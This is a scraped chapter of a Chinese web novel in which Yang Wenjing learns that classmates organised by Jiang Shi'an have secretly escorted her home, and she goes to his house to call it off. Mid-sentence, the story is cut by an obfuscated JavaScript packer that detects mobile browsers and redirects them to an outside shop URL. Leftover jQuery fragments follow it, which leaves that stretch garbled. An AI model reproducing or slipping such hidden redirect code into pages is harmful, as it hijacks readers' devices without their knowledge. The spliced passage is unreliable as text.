“江时安!”
听到这个名字,杨文箐怔愣了好一会儿才回过神。
“对!”男生点了点头,似乎还有些不好意思承认,又重重地抹了把脸,这才说道:“就是他让我来的。”
“他……为什么……”杨文箐动了动唇,都有点不知道该怎么说。
自己跟江时安并不熟啊。
除了那次在集市相撞,以及后来指证于向荣时,两人之间几乎没什么过多的往来,连“相识”都称不上,他为什么特意让这个男生来保护她?
“主要还是因为于向荣。”男生续继说道。
“于向荣?”杨文箐更不懂了,这跟于向荣又有什么关系?
随后就听男生详细解释道:“是这样的,上次你不是当面指证了于向荣嘛,江时安就担心于向荣会对你怀恨在心,怕他伺机报复你,再加上你们俩又是邻居,你还是个女孩子,也确实有些危险。他就想着怎么确保你的安全。但他的腿不是还没好嘛,所以我们商量了下,就由我们……”
他似有些不好意思地挠了挠头,“其实我们有五个人,每天轮流着护送你回家,今天正好轮到我。也怪我……”
后面的话他没说,但杨文箐已经明白了。
他那意思,就是人家四个人都没被发现,只有他自己被发现了呗。
这不由也让杨文箐顿感毛骨悚然。
也就是说,之前也一直有人在跟踪她,而且还是五个!
她居然一直都没察觉?
不过最让她无法理解的还是江时安的做法。
他……
她似乎有点理解之前向他表白的那女生的心情了,他这么“博爱”,真的很容易让人多想的好吧?
她紧蹙着眉头,正思索着该如何开口,让男生连同他的那四个同学都别再来了。
却没想到,男生竟误会了她的意思,见她这副神情,还以为她是在为他们自作主张的做法生气。连忙又语无伦次地解释道:“哎哎……你别生气呀!我们真没别的意思,就是单纯想保护你……你也别怪江时安,他也是为你好,他那人就那样,比别人都想得多一点,对谁也都挺好的,你可千万别误会!”
杨文箐:“……”
她竟一时分不清,男生这话究竟是单纯替江时安发“好人卡”,还是在为他做免责声明?
难道是担心她也像之前那个女生一样跑去跟江时安表白吗?
她叹了口气,然后一脸平静地对男生说道:“我……没生气。我只是,算是感动吧。我没想到你们居然想得这么周全,还暗中保护了我那么久。尤其你今天……”
她指了指男生浑身破衣烂衫、灰头土脸的狼狈模样,只觉又好气又好笑,接着说道:“我替我弟弟向你道个歉,也麻烦你帮我转告江时安,谢谢他的好意。不过,以后你们就不用来了,毕竟放暑假了嘛,对我而言也没什么危险了。”
这一番话真是说的杨文箐既难受又尴尬,本想尽快把男生打发走算了,却没想到,男生听完她的话后,非但没顺着她说两句客套话就完事,反倒一脸郑重地摇了摇头:“那不行!除非你亲自跟江时安说,要不然我们都答应他了,这时候又不来算怎么回事?”
杨文箐再次:“……”
她倒有点低估江时安在这帮男生中的威信了。
又或者换句话说,眼前这男生还真不是一般的讲义气。
“那……那你说怎么办?”她只好又把问题抛给了男生。
男生紧皱着眉头,苦思冥想了半天,最终抬头对她说道:“要不……你跟我去江时安家里一趟,亲自跟他说?”
****
于是五分钟后,杨文箐实在没办法,只好再次骑上自行车,载着杨文励,连书包都没来得及放下,就又跟着那男生踏上了去江时安家的路。
不过出发前,她还是第一时间跑到不远处仍眼巴巴望着她的杨国强,以及一众邻居们面前,跟他们把这件事解释了一番。
当然,她并没有全都如实告诉杨国强,只是避重就轻地说了说那男生跟踪她的目的,甚至连于向荣都没提,只说最近附近村庄发生了不少女孩被不良社会人员骚扰的案例,学校的男生们才会这么做。
杨国强原本就不太相信那男生是所谓的“流氓”,再加上这个年代的治安也确实没那么好。独行女孩遭遇危险的事本就时有发生,再听杨文箐这一解释,自然就信了。
其他人也一改之前对男生的看法,纷纷跟表舅称赞男生是个好孩子……
至于要去找江时安,杨文箐是这样说的:“江时安就是组织这件事的班干部,这些男生们也都是听他的调派。原本按他的安排,即便放了假也得有人时常来看看。但我觉得,既然放假了,就没必要这么做了。可外面那男生非坚持要按原计划办,所以我就想去跟他说说。”
杨国强自然也见识了那男生的固执和义气,对她这番话自是深信不疑。
再加上纯朴的性格,他当即便点头说道:“那是那是,你既然都放假了,肯定不能再麻烦人家,人家孩子也有自己的事,哪能整天光往咱家跑?那你去吧。”
倒是王淑兰似乎还有别的顾忌,在杨文箐临走时又说了一句:“那也别你一个人去呀。励娃子,跟你姐一块去!”
****
三人两车沿着村庄间的蜿蜒小路一路往北骑去,大约骑行了半个小时,才在一个名为江家集的村子停了下来。
“这就是江时安他们村。他家就在那里!”男生指着前方不远处一幢看起来明显比周边房屋都更为崭新气派的房子说。
杨文励这时也探头看了一眼,不由惊呼道:“呀,好气派的新房子!看起来他家还怪有钱的嘞。”
男生似乎还记着之前杨文励打他的仇,闻言没好气地接了一句:“你以为呢,反正比你家有钱多了。”
“嘿你!”杨文励也立马指着男生,跟他对呛起来,“我家有没有钱跟你有什么关系?再说我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658041|206462||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
夸人家家,又不是你家,你得意什么?”
男生也丝毫不让,边把自行车往江时安家大门口推,边故意气杨文励:“我愿意!要你管!”
“诶你……”杨文励立马又撸起了袖子,看那架式,似乎又要跟男生再打一场。
杨文箐不得不阻止他,扯着衣领将其拉了回来,“你干嘛?”
杨文励一脸委屈,指着前面的男生说:“你没看到他说咱家不好嘛。”
“你家本来就不好,还不许人说吗?”男生继续道,说着还故意回头不屑地瞥了杨文励一眼,“还有,你别觉得我打不过你。先前我只是觉得理亏,没好意思动手,现在要真再来一场,就你那点小屁个头,我打你还不跟玩似的。”
“嘿你……”这下可把杨文励气坏了,当即就想挣脱杨文箐追上去跟男生动手,见实在挣不脱,便冲杨文箐狠狠一跺脚,“姐,你看他!”
杨文箐却仍揪着他的衣领没有松手。
以她对杨文励的了解,这小子是出了名的爆脾气,典型的打起架来不要命的主。前世他就因为这性子吃了不少亏,不趁现在压压他的脾气,等他长大了还了得?
“我觉得他说得没错。”杨文箐一手推着自行车,一手揪着杨文励的衣领,一脸风清云淡地说道:“咱家本来就没钱,为什么不让人家说?不想让人说,最应该做的难道不是凭本事让家里变得有钱吗?照你这逻辑,人家一有人说,你就上去跟人打架,那你打得过来吗?”
而听到这话,不光杨文励,连走在前面的男生都有些惊诧,也顿时为自己刚才的行为感到不好意思,连忙向杨文箐道歉:“那个……不好意思啊,我其实并不是看不起你家,我就是……看他不顺眼,想怼他两句。”
“我知道。”杨文箐点了点头,笑了笑说:“毕竟任谁被一个比自己小那么多的孩子打成这样,心里都会不好受,你感到窝火也是正常的。”
这下,不光杨文励再看男生那副狼狈的模样,心里原本憋着的火气立时消散,顿觉舒服了,连男生的脸也立马红了个通透。
而这时,他们也终于走到了江时安家的大门口。
男生动作利落地把自行车往门口一撑,便抢先跑上前去敲门。
“江时安,是我,开门!”
一连喊了两声,都没有动静。
就在杨文箐以为他们来得不巧,江时安家里正好没人时,大门“吱呀”一声从里面打开,坐着轮椅的江时安映入了众人眼帘。
他应该是正在睡觉被吵醒的,脸上还带着明显的困倦和被惊扰的不耐烦,却在看到杨文箐的瞬间,眼睛立马瞪圆了。
“你……”他倏地将头转向了男生,“赵晓勇,怎么回事?!”
叫赵晓勇的男生挠了挠头,略有些不好意思地指了指杨文箐说:“我跟着她的时候被发现了,没办法,就只好把人给你带来了。”
江时安:“……??”
江时安:“……!!!!!”